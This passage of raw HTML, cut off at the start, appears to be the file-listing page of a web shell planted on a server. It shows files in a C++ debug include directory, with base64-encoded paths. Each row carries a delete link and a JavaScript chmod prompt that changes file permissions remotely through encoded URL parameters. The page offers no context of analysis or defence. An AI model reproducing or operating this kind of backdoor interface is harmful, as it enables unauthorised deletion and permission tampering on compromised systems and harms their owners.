href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLnRjYw==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLnRjYw=="/>safe_unordered_container.tcc</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2FmZV91bm9yZGVyZWRfY29udGFpbmVyLnRjYw==&c=`+btoa(c):0" value="0644"></td><td>3263</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2V0">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2V0"/>set</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2V0&c=`+btoa(c):0" value="0644"></td><td>1620</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c2V0Lmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2V0Lmg="/>set.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c2V0Lmg=&c=`+btoa(c):0" value="0644"></td><td>19534</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c3RsX2l0ZXJhdG9yLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c3RsX2l0ZXJhdG9yLmg="/>stl_iterator.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c3RsX2l0ZXJhdG9yLmg=&c=`+btoa(c):0" value="0644"></td><td>5480</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=c3RyaW5n">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c3RyaW5n"/>string</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=c3RyaW5n&c=`+btoa(c):0" value="0644"></td><td>37309</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=dW5vcmRlcmVkX21hcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dW5vcmRlcmVkX21hcA=="/>unordered_map</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dW5vcmRlcmVkX21hcA==&c=`+btoa(c):0" value="0644"></td><td>47594</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=dW5vcmRlcmVkX3NldA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dW5vcmRlcmVkX3NldA=="/>unordered_set</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dW5vcmRlcmVkX3NldA==&c=`+btoa(c):0" value="0644"></td><td>41489</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&x=dmVjdG9y">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dmVjdG9y"/>vector</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9kZWJ1Zw==&f=dmVjdG9y&c=`+btoa(c):0" value="0644"></td><td>24367</td></tr></table>